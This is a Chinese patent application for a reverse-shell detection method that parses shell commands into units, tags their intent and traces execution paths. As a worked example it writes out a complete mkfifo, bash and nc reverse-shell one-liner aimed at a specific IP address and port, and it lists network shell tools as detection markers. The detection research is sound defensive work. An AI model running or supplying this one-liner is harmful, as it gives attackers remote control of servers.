CN117807595A - 反弹shell检测方法、装置、电子设备及存储介质 - Google Patents

反弹shell检测方法、装置、电子设备及存储介质 Download PDF

Info

Publication number
CN117807595A
CN117807595A CN202311842128.8A CN202311842128A CN117807595A CN 117807595 A CN117807595 A CN 117807595A CN 202311842128 A CN202311842128 A CN 202311842128A CN 117807595 A CN117807595 A CN 117807595A
Authority
CN
China
Prior art keywords
command
shell
execution
intention
server
Prior art date
Legal status (The legal status is an assumption and is not a legal conclusion. Google has not performed a legal analysis and makes no representation as to the accuracy of the status listed.)
Pending
Application number
CN202311842128.8A
Other languages
English (en)
Inventor
张晨
郭建新
李月锋
Current Assignee (The listed assignees may be inaccurate. Google has not performed a legal analysis and makes no representation or warranty as to the accuracy of the list.)
Beijing Volcano Engine Technology Co Ltd
Original Assignee
Beijing Volcano Engine Technology Co Ltd
Priority date (The priority date is an assumption and is not a legal conclusion. Google has not performed a legal analysis and makes no representation as to the accuracy of the date listed.)
Filing date
Publication date
Application filed by Beijing Volcano Engine Technology Co Ltd filed Critical Beijing Volcano Engine Technology Co Ltd
Priority to CN202311842128.8A priority Critical patent/CN117807595A/zh
Publication of CN117807595A publication Critical patent/CN117807595A/zh
Pending legal-status Critical Current

Links

Landscapes

  • Stored Programmes (AREA)

Abstract

本公开提供一种检测方法、装置、电子设备及存储介质。所述检测方法,包括:获取第一shell命令;对所述第一shell命令进行语法分析,获取针对所述第一shell命令的命令执行意图;基于所述命令执行意图,确定与所述第一shell命令对应的命令执行路径;响应于所述命令执行路径中的至少一个节点满足第一预设条件,确定所述第一shell命令是否为反弹shell入侵命令。

Description

反弹shell检测方法、装置、电子设备及存储介质
技术领域
本公开涉及网络安全技术领域,尤其涉及一种反弹shell检测方法、装置、电子设备及存储介质。
背景技术
随着互联网的发展,信息安全技术的应用领域越来越广泛。
入侵是针对主机或服务器的攻击行为,攻击者可以通过攻击主机或服务器而获得主机或服务器的控制权,进而利用该主机或服务器攻击其他主机或服务器,或者直接利用该主机或服务器的计算资源,是一种典型的网络威胁。
反弹shell是黑客入侵各类主机和服务器的常用手段,相关技术中,可以利用静态检测或动态检测的方式对反弹shell入侵行为进行检测。但是,静态检测容易导致大量的误报或漏报,而动态检测的复杂度较高。
发明内容
有鉴于此,本公开的目的在于提出一种反弹shell检测方法、装置、电子设备及存储介质。
基于上述目的,本公开第一方面提供了一种反弹shell检测方法,包括:
获取第一shell命令;
对所述第一shell命令进行语法分析,获取针对所述第一shell命令的命令执行意图;
基于所述命令执行意图,确定与所述第一shell命令对应的命令执行路径;
响应于所述命令执行路径中的至少一个节点满足第一预设条件,确定所述第一shell命令是否为反弹shell入侵命令。
在一些实施例中,所述第一shell命令由第一服务器生成,所述第一shell命令用于使所述第一服务器访问第二服务器。
在一些实施例中,所述对所述第一shell命令进行语法分析,获取针对所述第一shell命令的命令执行意图,包括:
对所述第一shell命令进行语义解析,获取所述第一shell命令中的至少一个命令单元;
对所述至少一个命令单元进行意图分析,获取所述命令执行意图。
在一些实施例中,对所述至少一个命令单元进行意图分析,获取所述命令执行意图,包括:
确定所述第一shell命令的第一代码语言;
基于所述第一代码语言,获得与所述第一代码语言对应的意图标签库,所述意图标签库包括所述第一代码语言中至少部分基础命令的功能属性;
根据所述意图标签库对所述至少一个命令单元进行解析,得到针对每个所述命令单元的命令执行意图。
在一些实施例中,所述根据所述意图标签库对所述至少一个命令单元进行解析,得到针对每个所述命令单元的命令执行意图,包括:
获取所述一个命令单元中的基础命令以及所述基础命令的执行对象;
基于所述基础命令的功能属性以及所述基础命令的执行对象,获得针对每个所述命令单元的命令执行意图。
在一些实施例中,所述获得针对每个所述命令单元的命令执行意图,包括:
确定每个所述命令单元中的管道信息、文件信息、网络交互信息、输入信息、输出信息、命令执行器中的至少一个。
在一些实施例中,所述基于所述命令执行意图,确定与所述第一shell命令对应的命令执行路径,包括:
根据所述命令执行意图,获取所述至少一个命令单元中满足第二预设条件的目标命令单元以及所述目标命令单元之间的关联关系;
基于所述关联关系,确定所述目标命令单元之间的命令执行路径。
在一些实施例中,所述第二预设条件包括:所述命令单元所对应的节点存在网络交互、存在命令执行器、存在管道中的至少一个。
在一些实施例中,所述响应于所述命令执行路径中的至少一个节点满足第一预设条件,确定所述第一shell命令的检测结果之前,还包括:
确定所述命令执行路径为闭环路径;
其中,所述命令执行路径为闭环路径包括:所述第一服务器从所述第二服务器获取第二命令并执行所述第二命令,以及将执行结果发送至所述第二服务器。
在一些实施例中,所述第一预设条件包括:
所述命令执行路径中存在网络节点;
所述命令执行路径中存在执行器节点;
以及,所述网络节点与所述执行器节点直接或间接连通。
本公开第二方面提供了一种反弹shell检测装置,包括:
获取模块,被配置为:获取第一shell命令;
分析模块,被配置为:对所述第一shell命令进行语法分析,获取针对所述第一shell命令的命令执行意图;
路径构建模块,被配置为:基于所述命令执行意图,确定与所述第一shell命令对应的命令执行路径;
检测模块,被配置为:响应于所述命令执行路径中的至少一个节点满足第一预设条件,确定所述第一shell命令是否为反弹shell入侵命令。
本公开的第三方面提供一种电子设备,包括存储器、处理器及存储在存储器上并可在处理器上运行的计算机程序,所述处理器执行所述程序时实现如第一方面所述的反弹shell检测方法。
本公开的第四方面提供一种非暂态计算机可读存储介质,所述非暂态计算机可读存储介质存储计算机指令,所述计算机指令用于使所述计算机执行第一方面所述的反弹shell检测方法。
从上面所述可以看出,本公开提供的反弹shell检测方法、装置、电子设备及存储介质,通过对第一shell命令进行语法分析,从而获得第一shell命令的命令执行意图,进而确定第一shell命令的命令执行路径,再结合预先设置的第一预设条件来判断第一shell命令为入侵命令,从而获得第一shell命令的检测结果。本实施例通过对第一shell命令进行语法分析,从而使得无论第一shell命令进行怎样的变形和复杂拼接或是采用如何复杂的语言编写,均可以获得第一shell命令真实的执行意图和执行过程,进而基于第一shell命令真实的执行意图和执行过程对第一shell命令进行反弹shell检测,从而可以获得更为准确的检测结果,减少误报或漏检的概率;同时,本实施例通过语法分析来直接获取第一shell命令真实的执行意图和执行过程,相比于动态监测中基于系统运行时命令的行为事件来检测的方法复杂度低,易于实现。
附图说明
为了更清楚地说明本公开或相关技术中的技术方案,下面将对实施例或相关技术描述中所需要使用的附图作简单地介绍,显而易见地,下面描述中的附图仅仅是本公开的实施例,对于本领域普通技术人员来讲,在不付出创造性劳动的前提下,还可以根据这些附图获得其他的附图。
图1示出了本公开实施例所提供的一种示例性方法的流程示意图。
图2示出了本公开实施例所提供的一种示例性方法的流程示意图。
图3示出了本公开实施例所提供的一种示例性方法的流程示意图。
图4示出了本公开实施例所提供的一种示例性命令执行路径示意图。
图5示出了本公开实施例所提供的一种示例性装置的示意图。
图6示出了本公开实施例所提供的示例性计算机设备的硬件结构示意图。
具体实施方式
为使本公开的目的、技术方案和优点更加清楚明白,以下结合具体实施例,并参照附图,对本公开进一步详细说明。
需要说明的是,除非另外定义,本公开实施例使用的技术术语或者科学术语应当为本公开所属领域内具有一般技能的人士所理解的通常意义。本公开实施例中使用的“第一”、“第二”以及类似的词语并不表示任何顺序、数量或者重要性,而只是用来区分不同的组成部分。“包括”或者“包含”等类似的词语意指出现该词前面的元件或者物件涵盖出现在该词后面列举的元件或者物件及其等同,而不排除其他元件或者物件。“连接”或者“相连”等类似的词语并非限定于物理的或者机械的连接,而是可以包括电性的连接,不管是直接的还是间接的。“上”、“下”、“左”、“右”等仅用于表示相对位置关系,当被描述对象的绝对位置改变后,则该相对位置关系也可能相应地改变。
反弹shell是黑客入侵各类主机和服务器的常用手段,在利用反弹shell入侵主机和服务器的过程中,入侵者利用系统或者软件漏洞向被入侵主机或服务器植入一些shell脚本或者病毒程序,之后入侵者打开一个或者多个网络监听端口,当shell脚本或病毒程序执行时会主动访问这些网络监听端口,与入侵者建立网络会话,入侵者发送一些命令让被入侵的主机或者服务器执行,或者利用系统漏洞将病毒进程的权限从普通用户权限提升到超级特权用户权限,继续入侵服务器系统,窃取涉密数据甚至破坏服务器系统。
反弹shell命令的检测主要有如下两种检测手段:
一种是静态检测:对shell命令通过正则表达式进行关键字提取和匹配的方式进行检测。在检测之前需要收集不同的反弹shell命令,并基于这些反弹shell命令生成用于进行正则表达式匹配的关键字。这种检测方法一般只适用于一些简单的反弹shell命令的脚本,对于一些形变或者由多个简单命令拼接串联组合的复杂shell命令脚本,这种检测一般无法有效的检测,可能会导致大量的误报或漏报问题。另外,是对于通过python、nodejs等语言编写的反弹shell命令,由于存在更多的混淆手法,传统的方式更容易被绕过。
第二种是动态监测:基于运行时的系统行为事件进行动态检测,一般是根据shell命令启动的标准输入和标准输出是否存在网络通道来判断。但这种方法无法,检测出对于通过命名管道或者匿名管道对网络文件描述符进行重定向的检测,在工程上需要在相关的进程命令中进行复杂的关联才能发掘相关性,这种方案实现的复杂度很高。
有鉴于此,本公开实施例提供一种反弹shell检测方法,以解决上述问题。
如图1所示,所述检测方法,包括:
步骤S101,获取第一shell命令。
其中,第一shell命令为服务器或主机中生成的命令。服务器或主机在运行的过程中会生成多种不同类型的命令,本实施例中可获取服务器或主机在运行的过程中生成的第一shell命令。第一服务器在运行的过程中会生成多种不同类型的命令。第一shell命令是用于使第一服务器访问第二服务器的命令。
本实施例中,第一服务器为内部服务器,第二服务器为外部服务器,第一服务器对第二服务器的访问可能是正常的访问,也可能是第一服务器被第二服务器入侵后向外部服务器发送的访问命令。因此,本实施例中获取第一服务器用于访问外部服务器的第一shell命令,并对第一shell命令进行检测,从而判断第一shell命令是否为反弹shell入侵命令,即判断该第一shell命令是第一服务器对第二服务器的正常访问的命令,还是第一服务器被第二服务器入侵后向外部服务器发送的访问命令。
在一些实施例中,可获取最新生成的第一shell命令,即获取服务器或主机上实时生成的第一shell命令,对第一shell命令进行检测。或者,也可以获取基于预设时间段内的第一shell命令进行检测,本实施例对比不做限定。
步骤S103,对所述第一shell命令进行语法分析,获取针对所述第一shell命令的命令执行意图。
在一些实施例中,可基于抽象语法树(Abstract Syntax Tree,AST)对第一shell命令进行语法分析,从而获得第一shell命令的命令执行意图。其中,命令执行意图可用于表示该第一shell命令的含义和结构,包括命令的来源(例如输入信息)、执行过程、结果(例如输出信息)等,本实施例对此不做限定。
其中,抽象语法树(Abstract Syntax Tree,AST)是源代码语法结构的一种抽象表示。抽象语法树以树状的形式表现编程语言的语法结构,抽象语法树上的每个节点都表示源代码中的一种结构,如包、类型、修饰符、运算符、接口、返回值甚至代码注释等都可以是一个语法结构。
步骤S105,基于所述命令执行意图,确定与所述第一shell命令对应的命令执行路径。
在获取了第一shell命令的命令执行意图之后,可基于该命令执行意图确定与第一shell命令对应的命令执行路径。
其中,命令执行路径包括第一shell命令中各个进程或节点的输入、输出、执行过程以及各个进程或节点的输入输出之间的关联关系等,本实施例对此不做限定。例如,第一shell命令中包括A、B、C三个节点或进程,命令执行路径可以为:A节点或进程的输入信息从X获得,A节点或进程的输出信息是B节点或进程的输入信息,B节点或进程执行a操作后生成的结果作为C节点或进程的输入信息,C节点或进程执行b操作后获得的结果输出至Y。
步骤S107,响应于所述命令执行路径中的至少一个节点满足第一预设条件,确定所述第一shell命令的第一shell命令是否为反弹shell入侵命令。
本实施例中,可预先设置第一预设条件,并判断命令执行路径的各个节点是否符合第一预设条件,从而判断第一shell命令是否为入侵命令,从而获得第一shell命令的检测结果。
在一些实施例中,对于不同类型的入侵检测,可设置不同的第一预设条件。其中,不同类型的入侵检测可以包括反弹shell入侵、木马入侵、漏洞入侵等。
在一些实施例中,对于同一种类型的入侵检测,若第一shell命令的代码语言不同,也可设置不同的第一预设条件来对不同代码语言编写的第一shell命令进行入侵检测,本实施例对此不做限定。
本实施例中,通过对第一shell命令进行语法分析,从而获得第一shell命令的命令执行意图,进而确定第一shell命令的命令执行路径,再结合预先设置的第一预设条件来判断第一shell命令为入侵命令,从而获得第一shell命令的检测结果。本实施例通过对第一shell命令进行语法分析,从而使得无论第一shell命令进行怎样的变形和复杂拼接或是采用如何复杂的语言编写,均可以获得第一shell命令真实的执行意图和执行过程,进而基于第一shell命令真实的执行意图和执行过程对第一shell命令进行反弹shell检测,从而可以获得更为准确的检测结果,减少误报或漏检的概率;同时,本实施例通过语法分析来直接获取第一shell命令真实的执行意图和执行过程,相比于动态监测中基于系统运行时命令的行为事件来检测的方法复杂度低,易于实现。
在一些实施例中,所述第一shell命令由第一服务器生成,所述第一shell命令用于使所述第一服务器访问第二服务器。
其中,第一shell命令为第一服务器中生成的命令。第一shell命令是第一服务器在运行的过程中生成的用于使第一服务器访问第二服务器的命令。
本实施例中,第一服务器为内部服务器,第二服务器为外部服务器,第一服务器对第二服务器的访问可能是正常的访问,也可能是第一服务器被第二服务器入侵后向外部服务器发送的访问命令。因此,本实施例中获取第一服务器用于访问外部服务器的第一shell命令,并对第一shell命令进行检测,从而判断该第一shell命令是第一服务器对第二服务器的正常访问的命令,还是第一服务器被第二服务器入侵后向外部服务器发送的访问命令,即可以确定第一shell命令是否为反弹shell入侵命令。
在一些实施例中,如图2所示,步骤S103中所述对所述第一shell命令进行语法分析,获取针对所述第一shell命令的命令执行意图,包括:
步骤S201,对所述第一shell命令进行语义解析,获取所述第一shell命令中的至少一个命令单元。
在一些实施例中,第一shell命令是由多个命令单元拼接串联形成。每个命令单元可单独执行,通过多个命令单元拼接串联形成的第一shell命令可实现较为复杂的命令脚本。
本实施例中,通过对由多个命令单元拼接串联形成的第一shell命令进行语义解析,从而将第一shell命令拆分成一个或多个命令单元。
在一些实施例中,每个命令单元可以是一个简单的shell命令,第一shell命令由多个shell命令拼接串联形成。
以第一shell命令为“mkfifo/tmp/f;cat/tmp/f|/bin/bash-i|nc172.223.241.235222>/tmp/f”为例,其中,该第一shell命令的执行逻辑如下:
a)创建1个命名管道/tmp/f;
b)将命名管道/tmp/f的标准输出作为bash的执行输入,即bash执行命名管道的内容;
c)将bash执行的标准输出结果以匿名管道的方式通过nc上传到远程服务端172.223.241.235;
d)远程服务端不断的通过命名管道/tmp/f下发指令,通过步骤b来驱动bash执行。
总结整个过程:即通过nc接收黑客的远程命令并输入到命名管道/tmp/f,通过bash来驱动执行接收到的命名管道/tmp/f的命令,通过nc将执行结果上传到远程服务端,从而形成了一个反弹shell的场景。
本实施例中,通过AST解析器对该命令进行解析处理以抽取其中的命令单元,解析得到的命令单元包括:
a)mkfifo/tmp/f
b)cat/tmp/f
c)/bin/bash-i
d)nc 172.223.241.235 222
e)>/tmp/f
步骤S203,对所述至少一个命令单元进行意图分析,获取所述命令执行意图。
本实施例中,将第一shell命令拆分成一个或多个命令单元后,对每个命令单元进行意图分析,从而获得针对每个命令单元的命令执行意图。
在一些实施例中,步骤S203中所述对所述至少一个命令单元进行意图分析,获取所述命令执行意图,包括:
步骤S301,确定所述第一shell命令的第一代码语言。
其中,第一代码语言可以是shell语言,也可以是python、nodejs等语言,本实施例对此不做限定。
步骤S303,基于所述第一代码语言,获得与所述第一代码语言对应的意图标签库。
其中,意图标签库包括所述第一代码语言中至少部分基础命令的功能属性。其中,基础命令例如可以是mkfifo、|、cat、echo、bash、nc等,本实施例对此不做限定。
本实施例中,第一shell命令的代码语言不同,相应的意图标签库也不同。
以第一代码语言是shell语言为例,意图标签库可以为:
a)命名管道:mkfifo
b)匿名管道:|
c)文件描述符:fd0、fd1等
d)文件操作:cat、echo、curl、wget、touch等
e)执行器:bash、sh、exec等
f)网络交互:nc、/dev/tcp/、/dev/udp/、IP地址
g)重定向:>、>>
源和目标,特别是通过FD number进行的重定向,比如2>&1
其中,管道pipe是Linux中进程间通信的一种实现方式。在Linux系统中,管道是一种特殊的文件,它的主要用途是实现进程间的通信。
fd:在linux中,fd全称“Filedescriptor”,中文名为“文件描述符”,它是内核为了高效管理这些已经被打开的文件所创建的一种索引;它是一个非负整数,用于指代被打开的文件,所有执行I/O操作的系统调用都通过文件描述符来实现。
本实施例中,在使用的过程中,可以不断的意图标签库,且对于不同的代码语言,可以设置不同的意图标签库,满足不同语言的入侵检测;同时,可以对意图标签库进行不断的丰富和调整,以满足不同的需求,进而可以使用多种语言多种形变的命令的入侵检测,具备良好的适应性和维护性。
步骤S305,根据所述意图标签库对所述至少一个命令单元进行解析,得到针对每个所述命令单元的命令执行意图。
在一些实施例中,步骤S305进一步包括:
步骤S401,获取所述一个命令单元中的基础命令以及所述基础命令的执行对象。
步骤S403,基于所述基础命令的功能属性以及所述基础命令的执行对象,获得针对每个所述命令单元的命令执行意图。
本实施例中,从各个命令单元中提取出基础命令和基础命令的执行对象,例如命令单元mkfifo/tmp/f中的基础命令为mkfifo,mkfifo的功能属性是创建命名管道,基础命令的执行对象为命名管道/tmp/f。
命令单元cat/tmp/f中的基础命令为cat,cat的功能属性是文件操作,执行对象为/tmp/f,因此该命令单元用于将/tmp/f的结果作为标准输出(stdout_1)。
即在本实施例中,步骤S403中所述获得针对每个所述命令单元的命令执行意图,包括:确定每个所述命令单元中的管道信息、文件信息、网络交互信息、输入信息、输出信息、命令执行器等中的至少一个。
本实施例,利用意图标签库对各个命令单元进行意图分析,得到针对每个命令单元的命令执行意图的集合,如下所示:
命令单元 命名管道 文件 网络 StdIn StdOut 执行器
mkfifo/tmp/f /tmp/f
cat/tmp/f /tmp/f stdout_1
/bin/bash-i stdout_1 stdout_2 Y
nc 172.223.241.235 222 Y stdout_2 stdout_3
>/tmp/f /tmp/f stdout_3
其中,stdin、stdout、stderr:Linux中三个特殊的文件描述符。Linux会为每个运行的进程都分配这三个文件。Stdin(标准输入)从keyboard读取数据,stdout(标准输出)和stderr(标准错误输出)缺省会显示到到终端窗口(terminal window)上。
这样,即完成了对第一shell命令的意图分析,得到了针对第一shell命令的命令执行意图。其中,每个命令单元对应一个意图单元。
在一些实施例中,如图3所示,步骤S105中所述基于所述命令执行意图,确定与所述第一shell命令对应的命令执行路径,包括:
步骤S501,根据所述命令执行意图,获取所述至少一个命令单元中满足第二预设条件的目标命令单元以及所述目标命令单元之间的关联关系。
在一些实施例中,针对不同的入侵类型或者不同的代码语言,可设置不同的第二预设条件,从而基于第二预设条件,获取满足第二预设条件的目标命令单元,将目标命令单元所对应的节点作为用于判断入侵可能性的节点。
以shell语言为例,可设置所述第二预设条件包括:所述命令单元所对应的节点存在网络交互、存在命令执行器、存在管道中的至少一个。
具体的,对于每个节点,确定其是否包括如下属性:进程命令行cmdline信息、是否存在网络交互、是否为命令执行器、是否存在管道(命名管道或匿名管道)。
此外,还需确定各个节点的标准输入stdin、标准输出stdout、文件的文件路径以及文件描述符FD。
基于第二预设条件,获取用于判断入侵可能性的节点所对应的目标命令单元的结果,包括:
基于上述可以看出,目标命令单元包括mkfifo/tmp/f、/bin/bash–i、nc172.223.241.235222,即基于该目标命令单元所对应的节点能够用于检测第一shell命令。
在一些实施例中,对各个目标命令单元所对应的节点利用图算法进行关联计算,其中,关联属性关系如下:文件<->stdin、stdout<->文件、stdin<->stdout、FD<->stdin/stdout,其中,<->表示互相关联。
在一些实施例中,可利用关联属性映射表维护关联属性关系,且关联属性映射表中的关联属性关系可根据需要进行修改。
步骤S503,基于所述关联关系,确定所述目标命令单元之间的命令执行路径。
如图4所示,上述目标命令单元所对应的节点通过属性关联之后,可以得到如下命令执行路径:过命名管道/tmp/f接收来自第二服务器172.223.241.223下发的shell命令,这些命令会以标准输入的方式传递给bash执行器进行执行,最终将执行的结果发送给第二服务器。
在一些实施例中,在获得了命令执行路径之后,还需要判断命令执行路径是否为闭环路径。具体的,在本实施例中,若满足所述第一服务器从所述第二服务器获取第二命令并执行所述第二命令,以及将执行结果发送至所述第二服务器,则可确定该命令执行路径为闭环路径。
在本实施例中,由于命令执行路径为闭环路径,之后即可执行步骤S107响应于所述命令执行路径中的至少一个节点满足第一预设条件,确定所述第一shell命令确定第一shell命令是否为反弹shell入侵命令。
在一些实施例中,当第一shell命令为shell命令,且需判断第一shell命令是否为反弹shell入侵命令时,可设置第一预设条件包括:所述命令执行路径中存在网络节点;所述命令执行路径中存在执行器节点;以及,所述网络节点与所述执行器节点直接或间接连通。
本实施例中,由于命令执行路径符合第一预设条件,则可确定第一shell命令为反弹shell入侵命令。若命令执行路径不符合第一预设条件,则可确定第一shell命令不是反弹shell入侵命令。
本实施例中,可通过AST抽象语法树对第一shell命令进行解析,首先分解出第一shell命令的命令单元,然后对命令单元基于意图标签库提取命令执行意图,基于命令执行意图来确定可能用于检测的目标命令单元所对应的节点,利用图算法的能力对目标命令单元所对应的节点的属性进行路径关联构建从而获得命令执行路径,最后根据预设条件对命令执行进行检测,最终判断第一shell命令是否为一句话反弹shell入侵命令。
本实施例对于使用不同的编程语言(bash、python、nodejs等)编写的反弹shell检测均具备适用性,只需要使用与之对应的AST解析器进行解析,同时在系统迭代过程中,不断的丰富意图标签库和关联属性映射表,即可完成模型的迭代,可以支撑多语言类型的反弹shell攻击变种,具备良好的适应性以及维护性。
可以理解的是,在使用本公开中各个实施例的技术方案之前,均会通过恰当的方式对所涉及的个人信息的类型、使用范围、使用场景等告知用户,并获得用户的授权。
例如,在响应于接收到用户的主动请求时,向用户发送提示信息,以明确的提示用户,其请求执行的操作将需要获取和使用到用户的个人信息。从而,使得用户可以根据提示信息来自主的选择是否向执行本公开技术方案的操作的电子设备、应用程序、服务器或存储介质等软件或硬件提供个人信息。
作为一种可选的但非限定的实现方式,响应于接受到用户的主动请求,向用户发送提示信息的方式例如可以是弹窗的方式,弹窗中可以以文字的方式呈现提示信息。此外,弹窗中还可以承载供用户选择“同意”或者“不同意”向电子设备提供个人信息的选择控件。
可以理解的是,上述通知和获取用户授权过程仅是示意性的,不对本公开的实现方式构成限定,其他满足相关法律法规的方式也可应用于本公开的实现方式中。
需要说明的是,本公开实施例的方法可以由单个设备执行,例如一台计算机或服务器等。本实施例的方法也可以应用于分布式场景下,由多台设备相互配合来完成。在这种分布式场景的情况下,这多台设备中的一台设备可以只执行本公开实施例的方法中的某一个或多个步骤,这多台设备相互之间会进行交互以完成所述的方法。
需要说明的是,上述对本公开的一些实施例进行了描述。其它实施例在所附权利要求书的范围内。在一些情况下,在权利要求书中记载的动作或步骤可以按照不同于上述实施例中的顺序来执行并且仍然可以实现期望的结果。另外,在附图中描绘的过程不一定要求示出的特定顺序或者连续顺序才能实现期望的结果。在某些实施方式中,多任务处理和并行处理也是可以的或者可能是有利的。
基于同一发明构思,与上述任意实施例方法相对应的,本公开还提供了一种反弹shell检测装置。
参考图5,所述装置,包括:
获取模块11,被配置为:获取第一shell命令;
分析模块13,被配置为:对所述第一shell命令进行语法分析,获取针对所述第一shell命令的命令执行意图;
路径构建模块15,被配置为:基于所述命令执行意图,确定与所述第一shell命令对应的命令执行路径;
检测模块17,被配置为:响应于所述命令执行路径中的至少一个节点满足第一预设条件,确定所述第一shell命令是否为反弹shell入侵命令。
在一些实施例中,所述第一shell命令由第一服务器生成,所述第一shell命令用于使所述第一服务器访问第二服务器。
在一些实施例中,所述分析模块13,还被配置为:
对所述第一shell命令进行语义解析,获取所述第一shell命令中的至少一个命令单元;
对所述至少一个命令单元进行意图分析,获取所述命令执行意图。
在一些实施例中,所述分析模块13,还被配置为:
确定所述第一shell命令的第一代码语言;
基于所述第一代码语言,获得与所述第一代码语言对应的意图标签库,所述意图标签库包括所述第一代码语言中至少部分基础命令的功能属性;
根据所述意图标签库对所述至少一个命令单元进行解析,得到针对每个所述命令单元的命令执行意图。
在一些实施例中,所述根据所述意图标签库对所述至少一个命令单元进行解析,得到针对每个所述命令单元的命令执行意图,包括:
获取所述一个命令单元中的基础命令以及所述基础命令的执行对象;
基于所述基础命令的功能属性以及所述基础命令的执行对象,获得针对每个所述命令单元的命令执行意图。
在一些实施例中,所述获得针对每个所述命令单元的命令执行意图,包括:
确定每个所述命令单元中的管道信息、文件信息、网络交互信息、输入信息、输出信息、命令执行器中的至少一个。
在一些实施例中,所述路径构建模块15,还被配置为:
根据所述命令执行意图,获取所述至少一个命令单元中满足第二预设条件的目标命令单元以及所述目标命令单元之间的关联关系;
基于所述关联关系,确定所述目标命令单元之间的命令执行路径。
在一些实施例中,所述第二预设条件包括:所述命令单元所对应的节点存在网络交互、存在命令执行器、存在管道中的至少一个。
在一些实施例中,所述响应于所述命令执行路径中的至少一个节点满足第一预设条件,确定所述第一shell命令的检测结果之前,还包括:
确定所述命令执行路径为闭环路径;
其中,所述命令执行路径为闭环路径包括:所述第一服务器从所述第二服务器获取第二命令并执行所述第二命令,以及将执行结果发送至所述第二服务器。
在一些实施例中,所述第一预设条件包括:
所述命令执行路径中存在网络节点;
所述命令执行路径中存在执行器节点;
以及,所述网络节点与所述执行器节点直接或间接连通。
为了描述的方便,描述以上装置时以功能分为各种模块分别描述。当然,在实施本公开时可以把各模块的功能在同一个或多个软件和/或硬件中实现。
上述实施例的装置用于实现前述任一实施例中相应的反弹shell检测方法,并且具有相应的方法实施例的有益效果,在此不再赘述。
基于同一发明构思,与上述任意实施例方法相对应的,本公开还提供了一种电子设备,包括存储器、处理器及存储在存储器上并可在处理器上运行的计算机程序,所述处理器执行所述程序时实现上任意一实施例所述的反弹shell检测方法。
图6示出了本实施例所提供的一种更为具体的电子设备硬件结构示意图,该设备可以包括:处理器1010、存储器1020、输入/输出接口1030、通信接口1040和总线1050。其中处理器1010、存储器1020、输入/输出接口1030和通信接口1040通过总线1050实现彼此之间在设备内部的通信连接。
处理器1010可以采用通用的CPU(Central Processing Unit,中央处理器)、微处理器、应用专用集成电路(Application Specific Integrated Circuit,ASIC)、或者一个或多个集成电路等方式实现,用于执行相关程序,以实现本说明书实施例所提供的技术方案。
存储器1020可以采用ROM(Read Only Memory,只读存储器)、RAM(Random AccessMemory,随机存取存储器)、静态存储设备,动态存储设备等形式实现。存储器1020可以存储操作系统和其他应用程序,在通过软件或者固件来实现本说明书实施例所提供的技术方案时,相关的程序代码保存在存储器1020中,并由处理器1010来调用执行。
输入/输出接口1030用于连接输入/输出模块,以实现信息输入及输出。输入输出/模块可以作为组件配置在设备中(图中未示出),也可以外接于设备以提供相应功能。其中输入设备可以包括键盘、鼠标、触摸屏、麦克风、各类传感器等,输出设备可以包括显示器、扬声器、振动器、指示灯等。
通信接口1040用于连接通信模块(图中未示出),以实现本设备与其他设备的通信交互。其中通信模块可以通过有线方式(例如USB、网线等)实现通信,也可以通过无线方式(例如移动网络、WIFI、蓝牙等)实现通信。
总线1050包括一通路,在设备的各个组件(例如处理器1010、存储器1020、输入/输出接口1030和通信接口1040)之间传输信息。
需要说明的是,尽管上述设备仅示出了处理器1010、存储器1020、输入/输出接口1030、通信接口1040以及总线1050,但是在具体实施过程中,该设备还可以包括实现正常运行所必需的其他组件。此外,本领域的技术人员可以理解的是,上述设备中也可以仅包含实现本说明书实施例方案所必需的组件,而不必包含图中所示的全部组件。
上述实施例的电子设备用于实现前述任一实施例中相应的反弹shell检测方法,并且具有相应的方法实施例的有益效果,在此不再赘述。
基于同一发明构思,与上述任意实施例方法相对应的,本公开还提供了一种非暂态计算机可读存储介质,所述非暂态计算机可读存储介质存储计算机指令,所述计算机指令用于使所述计算机执行如上任一实施例所述的检测方法。
本实施例的计算机可读介质包括永久性和非永久性、可移动和非可移动媒体可以由任何方法或技术来实现信息存储。信息可以是计算机可读指令、数据结构、程序的模块或其他数据。计算机的存储介质的例子包括,但不限于相变内存(PRAM)、静态随机存取存储器(SRAM)、动态随机存取存储器(DRAM)、其他类型的随机存取存储器(RAM)、只读存储器(ROM)、电可擦除可编程只读存储器(EEPROM)、快闪记忆体或其他内存技术、只读光盘只读存储器(CD-ROM)、数字多功能光盘(DVD)或其他光学存储、磁盒式磁带,磁带磁磁盘存储或其他磁性存储设备或任何其他非传输介质,可用于存储可以被计算设备访问的信息。
上述实施例的存储介质存储的计算机指令用于使所述计算机执行如上任一实施例所述的反弹shell检测方法,并且具有相应的方法实施例的有益效果,在此不再赘述。
所属领域的普通技术人员应当理解:以上任何实施例的讨论仅为示例性的,并非旨在暗示本公开的范围(包括权利要求)被限于这些例子;在本公开的思路下,以上实施例或者不同实施例中的技术特征之间也可以进行组合,步骤可以以任意顺序实现,并存在如上所述的本公开实施例的不同方面的许多其它变化,为了简明它们没有在细节中提供。
另外,为简化说明和讨论,并且为了不会使本公开实施例难以理解,在所提供的附图中可以示出或可以不示出与集成电路(IC)芯片和其它部件的公知的电源/接地连接。此外,可以以框图的形式示出装置,以便避免使本公开实施例难以理解,并且这也考虑了以下事实,即关于这些框图装置的实施方式的细节是高度取决于将要实施本公开实施例的平台的(即,这些细节应当完全处于本领域技术人员的理解范围内)。在阐述了具体细节(例如,电路)以描述本公开的示例性实施例的情况下,对本领域技术人员来说显而易见的是,可以在没有这些具体细节的情况下或者这些具体细节有变化的情况下实施本公开实施例。因此,这些描述应被认为是说明性的而不是限制性的。
尽管已经结合了本公开的具体实施例对本公开进行了描述,但是根据前面的描述,这些实施例的很多替换、修改和变型对本领域普通技术人员来说将是显而易见的。例如,其它存储器架构(例如,动态RAM(DRAM))可以使用所讨论的实施例。
本公开实施例旨在涵盖落入所附权利要求的宽泛范围之内的所有这样的替换、修改和变型。因此,凡在本公开实施例的精神和原则之内,所做的任何省略、修改、等同替换、改进等,均应包含在本公开的保护范围之内。

Claims (13)

1.一种反弹shell检测方法,包括:
获取第一shell命令;
对所述第一shell命令进行语法分析,获取针对所述第一shell命令的命令执行意图;
基于所述命令执行意图,确定与所述第一shell命令对应的命令执行路径;
响应于所述命令执行路径中的至少一个节点满足第一预设条件,确定所述第一shell命令是否为反弹shell入侵命令。
2.根据权利要求1所述的方法,其中,所述第一shell命令由第一服务器生成,所述第一shell命令用于使所述第一服务器访问第二服务器。
3.根据权利要求1所述的方法,其中,所述对所述第一shell命令进行语法分析,获取针对所述第一shell命令的命令执行意图,包括:
对所述第一shell命令进行语义解析,获取所述第一shell命令中的至少一个命令单元;
